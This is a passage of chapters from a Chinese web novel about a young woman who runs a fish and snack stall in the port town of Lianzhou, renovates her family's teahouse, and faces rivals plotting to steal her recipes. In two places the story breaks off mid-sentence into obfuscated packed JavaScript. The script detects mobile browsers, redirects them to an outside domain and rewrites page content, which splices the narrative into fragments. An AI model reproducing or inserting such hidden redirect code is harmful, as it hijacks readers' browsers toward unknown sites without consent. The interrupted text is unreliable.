惊鸿瞧着江昱枫兴致缺缺的模样，“郎君，今日京中传来一则笑话。” “说。”江昱枫垂眸摩挲着掌心那枚温润的平安扣。 “钱尚书家的二子，在赵丞相寿宴上被人抓到同林家庶女苟且，林家长女当场发作，钱林两家一同丢了面，隔日两人被圣上当庭斥责管家不严，停俸一月。” “哦？”半靠在车壁的江昱枫来了兴致，泛白的唇角勾起，“那老东西倒是做了件好事。” 说这话，主仆俩的车架停在刺史府门前，才下车，便有一身形滚圆之人从里头出来，“下官恭迎世子大驾。” 与此同时，城西码头林书晚从青芜手中接过闲汉选定的一条鱼，模样瞧着有些像后世老广口中的九肚鱼，通体银白尾鳍呈黑灰色，她曾经有幸吃过一回，此鱼肉软刺多，味道极腥。 林书晚抬头扫了眼正幸灾乐祸瞧着自己的人，心 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“阿宝莫急，等林娘子做好，阿婆去给你买一份。”她安抚着小孙子，自己也不停地咽着口水，实在是太香了，她活了半辈子都未闻到过这么香的炸鱼。 且不提这祖孙俩，连那等着看林书晚好戏的闲汉吞着口水直勾勾地盯着她锅中裹上一层金黄的炸鱼。 在众人期盼的目光中，林书晚抄起笊篱捞出锅中的炸鱼。 原以为到此，这鱼便做好了，谁料她又另起一锅将青芜切好的蒜末倒入锅中，浓郁的蒜香扑鼻而来，待到锅中的蒜末带上点焦黄，林书晚飞快将炸好的鱼划入锅中。 迅速翻炒几下，倒入切成小块的青椒，最后取出一只小罐，指尖撵出一把泛黄的粉末。 “慢着，这是何物？”时刻盯着林书晚的男子，大喝一声，快步上前。 “我特制的椒盐粉。”林书晚拎着罐子在他鼻下随意晃了两下。 花椒独有的麻香直冲脑门。 一炷香后，椒盐九肚鱼便出锅了，“劳烦几位各寻三位食客。” 林书晚瞧着三人都未选到那对祖孙，她顺手塞了两碟到青芜手中，“阿芜，给那位阿婆还有那位娘子送去。” 闲汉只送了两份，自留了一份，他嗅着香味，迫不及待捏起一块鱼肉送入口中，“咔滋”咬破外头那层酥脆的外皮，露出里头鲜嫩的鱼肉，他霎时瞪大了眸子，太好吃了！ 其他被选中的几人亦然，花椒香味浓郁，鱼肉鲜嫩多汁，皆是吃得满心欢喜，“林娘子手艺实在太好了，哪里需要加什么邪门歪道的东西。” “就是！” “多谢林娘子。”阿婆牵着小孙子同林书晚道谢。 “阿婆喜欢就好。”林书晚笑着应道，目光逡巡，瞧着未吃上的眼馋的模样，“明日林记小食摊会将这道椒盐九肚鱼加上，欢迎诸位来品鉴。” 得了准话的食客心满意足，慢慢散去，林书晚这才发现刚刚为难自己的中年男子早就不知去向。 18.三文钱 临近正午，码头的人渐渐散去，微风拂过，柳絮纷飞，整个廉州都笼罩在荔枝的甜香中。 林书晚瞧着天色不早了，同青芜两人将东西归还给秦语，匆匆道了谢就要离开，怎料才将炉子收好，便听见一阵急促的脚步声停在自己跟前，“阿姐！” “阿娘，你怎么来了？何时到的？”林书晚抬头就瞧见姜婉领着谨哥儿站在自己跟前，目露担忧，她眼睛一弯，笑着开口。 “刚到，瞧你许久还未归家，有些担忧，便出来寻你了。”姜婉应道，她弯腰帮着林书晚将炉子提到车上，“今日生意不好？怎的耽搁了这么久？” 闻言，林书晚用绳子将车上的家伙什绑紧捆住，捶着腰站直了身子，瞧着不远处青芜正带着谨哥儿攀着街边的石柱，折下几截柳枝，“阿娘，我想在集市摆个暮食摊。” 其实方才炸鱼的时候，林书晚便起了心思，虽说这两日靠朝食摊也算赚了不少银钱，但今日听那闲汉所言，这价格十分便宜的鱼竟在廉州的酒楼食肆中卖得价格极贵，她这才故意提及要当着众人的面用鱼做上一道吃食。 此为一举两得，难为那闲汉替自己在摊位前聚了这么些人来，白给的打□□会，若是不抓住，岂不是浪费那闲汉的一片苦心。 听着此言，姜婉愣住，还未反应过来，边听隔壁摊位的圆脸娘子笑着上前打趣儿，“今日林娘子可是出了不小的风头，想必那指使闲汉来闹事的背后之后，如今都快呕死了……” “闹事？今日有人来摊位闹事了？”姜婉大惊失色，扯着林书晚的衣袖，急切开口。 林书晚无奈瞪了秦语一眼，自知失言的秦语尴尬一笑，想着帮忙解释，却被林书晚挡开，“劳烦秦娘子帮我照看一下谨哥儿同青芜。” 听着此言，秦语心知这母女俩有话要谈，点了点头就去寻那两个不知何时跑到河边的小家伙。 暖风习习，林书晚从秦语摊位拖来两张矮凳，对上姜婉紧张的视线，她心中无奈叹了口气，她这阿娘什么都好，就是心理承受能力差了些，用后世的话来说，随便一点挫折都能让她破防，实在不像是个商户之女。 大抵是自幼被外祖一家娇养着长大，婚后父亲爱重她，不曾纳妾，顺遂了大半辈子，这才养出了原身这种实心眼的性子。 “阿娘，在外摆摊有人眼红闹事那都是司空见惯的事儿，更何况我已将此事解决，还借着闹事之人，将我们林记小食摊的名声打了出去，他们那才是赔了夫人又折兵。”林书晚同姜婉细细说着今日之事，剖开其中利害关系。 说到今日送完剩下的椒盐九肚鱼，不过一小会就售罄了，姜婉这才转忧为安，目露怀念，“晚娘的手艺倒是青出于蓝，我还记得未出嫁前，你外祖教你舅舅厨艺，怎么教都教不会，气得他说要给我寻个赘婿来接手家中酒楼，若是如今他还在，必然是极喜欢你的。” 日头暖洋洋的照在身上，林书晚母女俩坐在推车后头，瞧着不远处的三人，不过片刻，她瞧见谨哥儿头上带着翠绿的圆环，像个炮弹似的直直朝自己冲了过来。 “阿姐！你瞧秦家姐姐用柳条给我编的。” 抬手接住谨哥儿，林书晚瞧着他头上用柳条编成的圆环，笑意盈盈地开口，“谨哥儿真好看。” “可惜了码头只有柳树，若再有些旁的梨花桃花之类的，便能用柳枝编上一个花环或者花篮。”秦语跟在两人身后，手中还拿着两个用柳条编成的手环，小巧精致，“方才是我多嘴，林娘子莫怪。” 林书晚笑着从她手中接过手环，爱不释手，“秦娘子的手实在巧。” “林娘子谬赞。”说着，秦语瞧着林书晚一本正经的模样，“噗嗤”笑出声，“好了，我二人也莫在此处相互吹捧，时辰不早了，林娘子快些归家吧。” “那今日便多多谢秦你娘子了。”同秦语道别，林书晚推着车领着姜婉几人归家。 行至长春桥，一辆乌木车架从另一头驶来。 微风拂过，吹起轻薄的车帘，露出半截苍白的下巴，淡淡的药香扑鼻而来。 江昱枫阖眸靠在车壁上，回想着方才知州府那些官员的嘴脸，不经勾起嘲讽的弧度，朝廷官员死在距离廉州不远的青峰山，宋知州不派人去探查也就罢了，竟还一问三不知，当真可笑至极。 “惊鸿，可有查到廉州近日有何异常之处？”江昱枫嗓音低哑。 “您猜昨日，属下在集市打听到了什么？”惊鸿手中捧着一把玉笛，凑到江昱枫跟前，低声道。 闻言，江昱枫抬脚踹了他一下，“有话快说，卖什么关子。” 挨了一脚的惊鸿，讪笑着坐着了身子，正了正神色才道：“就在半月前，廉州司户参军的侄子不知从何处得知姜家茶馆有一酿酒秘方，上门讨要，怎料那店主是个有骨气的，拒绝了他，那纨绔一怒之下砸了人家铺子，害了两条性命，事情闹得极大，司户参军瞧着实在没法子掩盖，从他那侄子房中随意拉出个小厮顶罪，那纨绔只挨了几板子，这事便过去了。” “还有什么话一并说了，吞吞吐吐做什么？”江昱枫瞧着惊鸿欲言又止的模样，掀起眼皮瞪了他一眼。 “那姜家茶馆正是林侍郎的岳家，如今林侍郎的妻女便住在那处。” “你让人去盯着那司户参军。”江昱枫垂眸瞧着手中的平安扣，那日惊鸿被人设计骗走，他饮下毒酒，以为自己就要丧命之时，这块平安扣在怀中微微发烫，掠影及时赶来救下自己。 江昱枫摩挲着手中的平安扣，忽而想起去岁京中白马寺的了无大师给自己批的命，直言自己今年会有一大劫，然福祸相依，得一贵人便能破此死劫，当日他嗤之以鼻，只觉那秃驴骗人，他收回目光攥紧手中的平安扣，心中冷笑一声，自己当真是脑子坏了，竟信这种怪力乱神之言。 姜家小院，林书晚坐在廊下，瞧着谨哥儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这枚玉镯是林父送与姜婉的定情信物，她一直带着从未离过身，直到上了船，这才将手镯褪下，藏在包裹中，初来廉州那日，她便想将这镯子当了，被林书晚拦住，如今算旧事重提了。 “这不成，阿娘快收回去，我手头有钱呢，除了前头剩下的十五贯，这几日我又赚了不少，如今有将近二十贯呢，况且前些日子我去问了木匠，他们工钱一日大约一百五十文的样子，泥瓦匠估摸着也差不多钱。”林书晚摆了摆手，赶忙让姜婉把那玉镯收起来。 笑话，如今林父已死，她母女二人又被赶出林府，如今姜婉就留着这么个念想，这镯子无论如何都当不得。 见着林书晚无论如何都不愿动这枚镯子，姜婉只好将它收回，“晚娘若是缺钱一定要同阿娘讲。” 那头，谨哥儿掏了掏自己的小荷包，从里头摸出三枚铜板，站在床上递到林书晚面前，“阿姐，这钱给你！明日我陪你一同去集市摆摊！” 林书晚有些诧异地瞧了眼姜婉，倒是没接那铜板，就听姜婉笑着解释，“你今日在家中留了几块鱼肉饼，周家的源哥儿还有赵家的林哥儿，王家的云姐儿来寻他玩，闻着味馋得很，便想问他讨上一块，谨哥儿便同他们说一文钱一个，这不就赚了三文钱回来。” “我们谨哥儿真厉害，还能帮着阿姐赚钱了。”林书晚撑不住笑了，将谨哥儿抱在怀中夸赞。 谨哥儿被夸的满脸通红，心中却十分高兴。 19.鱼肉两吃 雨渐渐停了，乌云散去，窗外的天空一碧如洗。 林书晚心中惦记着修缮房子一事，当即同姜婉说了一声，捧着装钱的木匣一溜烟的从门口出去，恰巧撞见门口来寻姜婉的周婶娘。 周婶娘站在门口瞧着她那风风火火的模样，张了张嘴，还没来得及说话，林书晚人都走出三五里地，转瞬就不见了人影，她恍惚间好似瞧见林娘子手中捧着一个沉甸甸的木匣。 林书晚一路跑着越过清茗桥，像阵风似的冲进前头买推车的木匠家门。 “老丈，我来寻你修缮屋子了！” 这一声来得突然，吓得正坐在长凳上刨着木头的陈老汉一个趔趄，险些摔倒在地，连带着老汉边上的几个徒弟也惊得愣在原地。 林书晚拉着他，央他帮自己寻个手上活好的泥瓦匠，虽说姜家小院墙壁之类的是完好的，但灶房得重新砌，如今那个灶台实在太小了些，时候开食肆肯定施展不开，更何况她还得砌个烤炉。 由着陈老汉举荐，不一会儿便请来一位泥瓦匠袁老汉，林书晚瞧着人齐后，伸出一根手指，大放厥词，“半月，十贯，帮我把姜家茶馆整个修缮一遍。” 陈老汉同袁老汉立时愣在原地，待回过神来，转身就走，“……林娘子另请高明。” “哎哎哎，别走，价钱好商量，价钱好商量。”林书晚赶忙起身，扯住杨老汉的衣袖。 林书晚方才那不要脸的言论，险些将这些颇有气性的匠人气得当场离开。 无奈之下，林书晚只好软着性子哄着几人，最后在两人去姜家小院瞧过之后，以十五贯银钱成交，她还得管上这些匠人一日两顿餐食。 就着姜家小院的格局，林书晚扯着两人聊了许久，最后总算敲定，帮着她将门窗全部重新打上新的，东厢房那处住不了人，便打算做成一个杂物室，后院还好些，重头戏便是在前头的茶馆，毕竟往后她是要开食肆的，如今茶馆里头的桌椅都缺胳膊少腿的倒在地上。 除了桌椅，林书晚还要在墙上多开一扇窗子，上头的木窗都得重新打，还有前头的吧台都得推了重新打，顺带她又央着陈老汉帮着打了一张书桌，日后谨哥儿读书总归要用。 一通说下来，说得林书晚口干舌燥，端起桌上的凉茶一饮而尽，片刻又似想起一事，又冲着陈老汉笑了笑，“还得请老丈帮我打上几张躺椅。” 杨老汉瞧着她那笑意盈盈的模样，后背冷汗直冒，匆忙赶在她下一次开口前，道：“今日我回去就将图样画好，明日送来给你瞧瞧，若是没问题，明日就能动工。” 说罢，逃也似的离开，他生怕自己再不走，又要被那伶牙俐齿的小娘子哄骗的，多上不少伙计出来，那林娘子一张嘴死的都能说成活的，什么“您可是这廉州最好的工匠”，“您的手艺实在好”如此这般将他哄的晕头转向。 次日一早，陈老汉便带着画好的图样匆匆赶到姜家，林书晚瞧过之后十分满意，便去寻了住在巷尾的汪大爷，两方签过契书，便打算动工。 林书晚交了两贯定金之后，便匆匆去了趟集市，毕竟她今日错过了朝食摆摊，那傍晚在集市的摆摊自然不能错过，加之自己还得供应这些匠人的吃食，得去集市买些食材回来，原先她想着要么在卖鱼的同时做炒面生意，但炒面实在麻烦了些，毕竟现下与后世不同，后世的面条都是现成的，而如今卖炒面要从揉面开始，就这两日卖鱼皮饺子，她天天揉面，都揉得胳膊酸痛，所以她当即决定过两日卖鱼的同时，搭配着炒饭一块卖。 炒饭做起来就十分简单了，只需头天晚上做暮食的时候，多蒸上些米饭就好。 姜家茶馆的修缮大业便开始了。 昌平街头一个发现的便是巷子口的赵婶娘，她闲着没事日日都坐在门口瞧着巷子里头，故而巷子里一有什么动静，她都是头一个晓得的，这不木头才拖到姜家门口，她探着头朝姜家张望。 就见姜家后门敞着，几个壮硕的力工扛着木头往里头去，不一会儿又出来几个力工挑着砂石往后院去了。 赵婶娘惊讶极了，“姜家茶馆这是要重新开张了？” 她站在门口瞧了好一会儿，周婶娘推门而出，远远见她，凑上前来，咂舌道：“我晓得这林娘子每日摆摊赚了不少，没想到竟赚了这么多，才一月不到的功夫，就能修缮屋子了。” “你还不晓得？你不是将家中的鸡蛋都卖她了？”赵婶娘瞥了她一眼，嗤笑一声。 扭头就往钱家去。 落在身后的周婶娘，只觉莫名其妙。 “姜家那晚姐儿倒是个有本事的，一月不到就攒了这么多银钱，都修起房子了，莫不是要重新开茶馆。”赵婶娘靠在墙边，同身旁的钱婶娘说着闲话。 “姜家大姐儿嫁的是京中大官，说不准手头有积蓄呢。”钱婶娘自幼同姜婉一同长大，自然是向着她的。 赵婶娘瞧了片刻，又道：“我看着不像，不过我听我家那口子说晚姐儿如今摆摊卖的可是各种吃食，说不准日后这茶馆也不开了，就开食肆了。我们其他家还好些，你家可是做吃食生意的，她在这巷子里头开间食肆，岂不是把你们夫妇俩的脸面丢地上踩？” “你今日怎么回事，怎的讲话酸里酸气的，以往姜家也是开酒楼的，若不是早年那场变故，如今姜家还是廉州有名的乡绅，我们这条巷子哪家没受过姜家的恩惠，就算晚姐儿开了食肆又如何，大不了我同我家那口子跟着晚姐儿一块开食肆好了 ，你方才也说了，她是个有本事的，就单凭她那手艺，莫说食肆，日后酒楼也开得。”钱婶娘看了她一眼，觉得莫名其妙。 听着此番言论，赵婶娘冷哼一声，不再多言，扭头回家了。 买好食材的林书晚回到家中，瞧着满屋狼藉实在没地儿下脚，她只好借了钱婶娘家的院子将食材处理好，这才回到家中，蒸上一锅白面馒头，又炖了一锅冬瓜猪肉汤，只留了要绣荷包的姜婉留在家中照看小鸡崽，她便领着谨哥儿同青芜一同去集市摆摊。 她推着车，青芜提着木质招牌，谨哥儿一手提着一张矮凳跟在身后。 林书晚今日来的有些晚了，只有靠近长春桥那处有个空位，她将摊位安顿好后，让谨哥儿坐在凳子上，她取出一份炸得酥脆的九肚鱼塞到谨哥儿手中，这才开始吆喝，“香酥美味的九肚鱼，酱香浓郁的红烧鱼，物美价廉，味道鲜美！” 配合着林书晚的吆喝声，是鱼块滑入油锅的“滋滋”声，不消片刻，荤香四溢。 红烧鱼是一早就烧好的，放在瓦罐中，架在炉子上，用炭火的余温保温，而椒盐九肚鱼不同，要刚出锅的味道才好，故而林书 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林书晚手中锅铲抡得飞起，青芜瞧着她实在忙不过来的样子，叮嘱着谨哥儿莫要乱跑，自己三步并作两步，走到装着红烧鱼的瓦罐旁，“郎君，这鱼您自己可带餐具了？若没带餐具，还得在加上一文钱。” 那一文钱，便是后世的打包费。 “没带，那便加上一文钱吧。”蒋大壮手一挥，又从腰间摸出一枚铜板。 青芜接过银钱，掀开盖子，一股不同于炸鱼的鲜香直扑面门，里头似乎还带着一点茱萸的辛辣，她小心翼翼从里头捞出一整条约莫五斤的红烧鱼，放在一只表面磨得十分光滑的木匣中，又从瓦罐中舀了一勺汤汁淋在鱼身上头，色泽红亮瞧着就十分诱人，“郎君，您的鱼。” 浓油赤酱，跟别提那股诱人的香味，蒋大壮才拿到手，就迫不及待伸手从林书晚的摊位上取过一双筷子，小心翼翼从鱼背上夹下一小块鱼肉，无师自通将嫩白的鱼肉往鱼汤里头蘸了蘸，随即一口塞入口中，浓郁的酱汁在口中炸开，蒋大壮下意识瞪大眼睛。 这红烧鱼没有半点腥味，酥脆的鱼皮吸满汤汁格外鲜美，鱼肉鲜嫩，带着一点微辣，实在是太好吃了，这么大一条鱼竟还只要三十文，这鱼若是在城中酒楼，至少要卖三位数，回过神来，蒋大壮早就将方才买的那条红烧鱼吃了个干净，他讪讪一笑，又挤到林书晚跟前，“劳烦小娘子再给我来两条，不，三条三十文的红烧鱼。” “这鱼真有这般好吃？”等着买椒盐九肚鱼的妇人，方才也闻到了一股浓香，如今在看着蒋大壮那副模样，心里头好似有猫爪在挠。 “好吃！比宝德楼的厨子差不了多少。”蒋大壮接过青芜递来的红烧鱼，视线乱瞟，就是不敢落在手中的红烧鱼上，生怕自己一不留神又吃完了，回了那妇人一嘴，就护着怀中的红烧鱼匆匆往家赶去。 林书晚抽空抬头瞧了眼蒋大壮跑远的身影，心道只是红烧鱼就这般模样，若是日后自己再将烤鱼加上，岂不是要香得他吃完后直舔手指。 “林娘子给我也来上一条红烧鱼。” 或许是蒋大壮无意间当了个活招牌，又或是这红烧鱼的卖相瞧着实在诱人，不一会儿青芜跟前也排了一条长龙，主仆二人忙得脚不沾地。 20.突生变故 且说那头蒋大壮护着红烧鱼回到家中，他家姑娘循着味就过来了，“阿爹，今日买了什么吃食，好香啊？” 下一秒，她瞧见蒋大壮献宝似的从身后取出红烧鱼，他一路小跑回来，手中的鱼还热着，“珠珠，快去将你阿娘唤来吃饭。” “阿娘，阿爹回来了。”蒋珠快步跑到后院，帮着蒋娘子将锅中的烂糊菘菜盛出来，又盛了三碗米饭。 一家三口坐在桌前，蒋娘子瞧着桌上的红烧鱼心中不解，“夫君，珠珠不是让你带鸡蛋饼回来么？怎么带了几条鱼？” “哦，今日那小娘子家中有事，早上没出摊，到了傍晚才出摊，正好在买鱼，我就想着买了几条回来给你们尝尝鲜。”蒋大壮夹一整块鱼肚子上的肉送到蒋娘子碗中，“妇人尝尝，这鱼不仅没有一点腥味，肉还极嫩。” 说罢，又给自己夹了块鱼肉，在米饭中淋了层鱼汤，拌着饭吃，那滋味都快给人香迷糊了。 一顿暮食，蒋家三口人撑得肚子滚圆，蒋娘子靠在椅背揉着肚子，“夫君，你前些日子不是说要请崔判官来家中吃饭，何不请了那小娘子来家中做上一顿，这样你续任码头管事一职，不就稳了。” “娘子聪慧！”蒋大壮心中大喜，打算明日上工之时就去问问林书晚。 且不晓得蒋大壮心中打算的林书晚，踩着宵禁回到家中。 今日备下的红烧鱼同九肚鱼都卖了个精光，她迫不及待想要数钱，可低头一瞧跟着自己半日的谨哥儿累坏了，竟就这么靠着墙开始打瞌睡，林书晚无奈一笑，将要帮自己烧水的青芜赶去休息，这丫头今日也累坏了。 自己走到水井旁提了桶水，打算烧上一锅热水，几个人都好好洗漱一番再开始数钱。 “晚娘回来了？”屋内的姜婉听着动静从里头出来，一眼瞧见她的动作，赶忙上前接过水桶，“快去歇上一会，这边我来就好。” 林书晚实在拗不过姜婉，只好拖了张凳子坐在一旁，同姜婉说着今日摆摊的事儿，“阿娘，我觉着若是每日生意都这般好，我们很快就能将食肆开起来。” 待到月上中天，林书晚才堪堪将明日摆摊要用的东西准备好，她捶着酸痛的胳膊站直了身子，想着等到食肆开业，她定要寻上好几个伙计。 洗漱完后，姜家四口人躲在屋内，锁上门，林书晚捧出装满铜板的木匣，“哗啦”一声全部倒在帕子上，一枚一枚，数了许久，“今日卖鱼竟赚了将近五百文！” “竟有这么多，一月三十日，除去休市那日，一月便能赚十五贯！”姜婉惊讶地瞧着林书晚，她晓得晚娘手艺好，但从未想过头一个月摆摊就能赚这么多银钱。 不知何时，初来廉州的仿徨已消失不见。 晨曦微露，早早起床的林书晚将东西收拾好，便带着青芜去码头摆摊，她打算今日就同码头那些伙计们说过几日就不去那处摆朝食摊了，原因无他，一日摆两次摊实在太累了。 况且再有十余日，家中便能修缮好，到那时林记食肆也能开业了。 思索间，林书晚两人便到了码头，她同青芜才将东西摆好，那头下工的伙计就直奔她的摊位来了。 “林娘子你昨日没来，都不晓得我们过得什么苦日子，除了秦娘子家的酸汤米线味道不错，旁的几家都不好吃。”丁卯嘟嘟囔囔越过祝家鸡蛋饼朝林记小食摊走来。 秦语“噗嗤”笑出了声，“郎君你不晓得，我家这酸汤米线也是林娘子改良过的。” “难怪这味道吃着比之前好上许多。”丁卯一口鸡蛋病一口酸汤，恍然大悟。 几人同往常一样，要了几个鸡蛋饼，又要了几块鱼肉饼，不过半个时辰，林书晚备下的吃食就卖空了，她正打算借此机会同几人说一下，三日后自己便不来此处摆摊了。 蒋大壮远远冲着她招手，还没走近，就听他冲着自己高声道：“林娘子，我有要事同你商量，三日后我家要宴请一位贵客，想请你上门做菜，价格好商量。” 送上门的生意，哪有不做的道理，林书晚当即应下，“郎君的那位贵客可有什么喜好？” 蒋大壮沉吟片刻，忽而一拍手掌，“那位贵客祖籍在川渝之地，嗜辣。” “那我晓得了，郎君准备好那位贵客喜好的食材便可。” 就这么耽搁了一会，方才还在跟前吃朝食的食客早已散去，林书晚无奈叹了口气，心道只好明日再同他们说了。 “林娘子，你可知蒋郎君要宴请的贵客是何人？”秦语瞧着蒋大壮离开，满脸神秘地凑到林书晚耳边。 林书晚奇怪地瞧了她一眼，摇了摇头。 “是廉州的崔判官，下个月码头管事要重选，此事正是归那崔判官管，蒋郎君估摸着是想续任，这才想着宴请崔判官，林娘子好好把握，此事若是成了，往后你林记的名声说不准就能响彻廉州。”秦语细细同林书晚解释，言语之间带着羡慕。 与此处欢喜不同的是那素面摊的摊主，他沉着脸，站在卖包子的摊主身旁，“孙君，若是再无所举措，说不准日后这码头就再无我们容身之地了。” “那李君有何法子？”孙成君动作一顿，眸色微沉。 “我听闻这臭丫头傍晚会在长春桥旁摆摊卖鱼，我们想法子把那鱼的菜谱弄过来。”李茂压低着嗓音，眼中满是贪婪。 他昨日在长春桥旁的茶馆中瞧得清清楚楚，林书晚的摊位前排起了长龙，且不说那椒盐九肚鱼，瓦罐中的红烧鱼连他瞧着都馋得不行，得把那菜谱拿到手，到时红烧鱼卖它个三百文一条，还摆什么素面摊。 “听李君所言，似乎胸有成竹？”孙成听着他那势在必得的语气，起了兴致。 闻言，李茂弯腰凑到孙成耳边低语几句，“到时坏了那臭丫头的名声，蒋郎君自然再也不会让她上门做菜，时间紧迫之下，孙君你毛遂自荐，我再以帮她的名义从她手中把做鱼的法子骗来，孙君觉得此法如何？” “世子，可要让人去提醒一下林娘子？”长春桥上，惊鸿瞧着笑得奸诈的两人心中不耻。 闻言，江昱枫疑惑地瞧了惊鸿一眼，“你家世子何时成了好管闲事之人？” “您不管闲事，那您听得林娘子在此处摆摊，巴巴儿地来此作甚？”惊鸿低着头嘀咕道。 “嘶。”江昱枫抬手拍了惊鸿一个脑瓜，“怎么同你家世子说话呢？” 主仆二人一时无言。 江昱枫远远瞧了眼林书晚，朝惊鸿招了招手，“走了。” 林书晚两人收了摊就要回家。 “林娘子且慢，今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15349018|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可还有鸡蛋饼？”一位身着靛青色窄袖官服的年轻郎君匆匆赶来。 “郎君，您来晚了，今日的鸡蛋都卖空了。”林书晚瞧着此人有些眼熟，想了片刻才想起此人便是前日一下子买了许多的那位郎君，当即挂上笑脸，“您若是还未吃朝食，不若尝尝秦娘子家的酸汤米线，味道也十分不错。” “林娘子，我名唤程辉，你直接唤我名字便好。”程辉对着林书晚的笑脸，耳尖通红，低着头走到秦语摊位前，“劳烦秦娘子给我来一碗酸汤米线。” 秦语手脚麻利地下好米线，飞快凑到林书晚身旁，“林娘子，我猜那郎君瞧上你了。” 林书晚瞧了程辉一眼，正好对上他偷看自己的目光，当即收回目光，“莫胡说，我家中还有事，先走了，对了，明日我想同你商量件事儿。” 同秦语道过别，林书晚两人推着车往家走。 “娘子，我觉着秦娘子说的不错，那郎君瞧你的眼神确实同看爱慕的女子一样。”青芜跟在林书晚身后低声道。 闻言，林书晚惊诧回头，瞧着青芜一脸认真的模样，撑不住笑出了声，“你才多大一点，竟还晓得爱慕之人了？” 主仆俩推着车，说说笑笑路过集市，林书晚打算再买些菜回去，这几日家中有人在做工吃得多，除了鱼她还买了不少猪肉鸡肉，菘菜萝卜之类的先前买得多，家中还剩了不少，暂时不用买，一共花去两百文。 两人将鱼倒在盆中，塞在推车下头。 回到昌平街，林书晚将推车放下，便打算做午食了，她想着反正今日傍晚还要去集市卖鱼，不如今日就吃红烧鱼得了，还省了自己不少功夫。 处理鱼鳞不难，姜婉同青芜都能帮忙，但是给鱼开膛这两人就不行了，若是不小心将鱼肚子里头的苦胆弄破，整条鱼就会又苦又腥，吃不得。 等到将鱼处理好后，划了花刀，抹上一层薄薄的盐巴，丢上几片葱姜，再浇上一勺米酒腌制片刻就好。 灶房的灶台还没砌好，如今还只能用炉子。 半刻钟后，浓郁的香味在整个小院散开，勾得那些做活的匠人吸着鼻子，没有半点干活的心思。 “林娘子，你这是做的鱼？”陈老汉伸长了脖子朝林书晚面前的铁锅张望。 “鱼肉？鱼肉可腥了。” “林娘子不厚道，我们辛辛苦苦干着活，你就给我们吃鱼？” “我家娘子做的鱼可好吃了！连码头管事都买了四条呢。”听着旁人的质疑，青芜自是不乐意了。 吵吵嚷嚷间，林书晚的红烧鱼出锅了，陈老汉捧着饭碗犹疑不定，还是林书晚实在瞧不过去了，抬手夹了一块鱼肚子上的肉放到他碗中，“老丈尝尝便是。” 说罢，便不再管他，顺手掏出鱼肚里头的鱼籽，放到谨哥儿碗中，“谨哥儿多吃鱼籽，长高高。” 陈老汉苦着张脸，屏着呼吸，夹起一块鱼肉送入口中，鱼肉鲜美中带着一点辛辣，实在下饭。 一顿饭下来，几人吃得肚子滚圆，尤其是方才叫唤的厉害的两人红着脸凑到林书晚跟前道歉。 次日一早，林书晚最后将炉子搬上推车，唤了青芜打算出门摆摊时，门口传来急促的砸门声。 那动静大得好似要把姜家的大门拆了一样。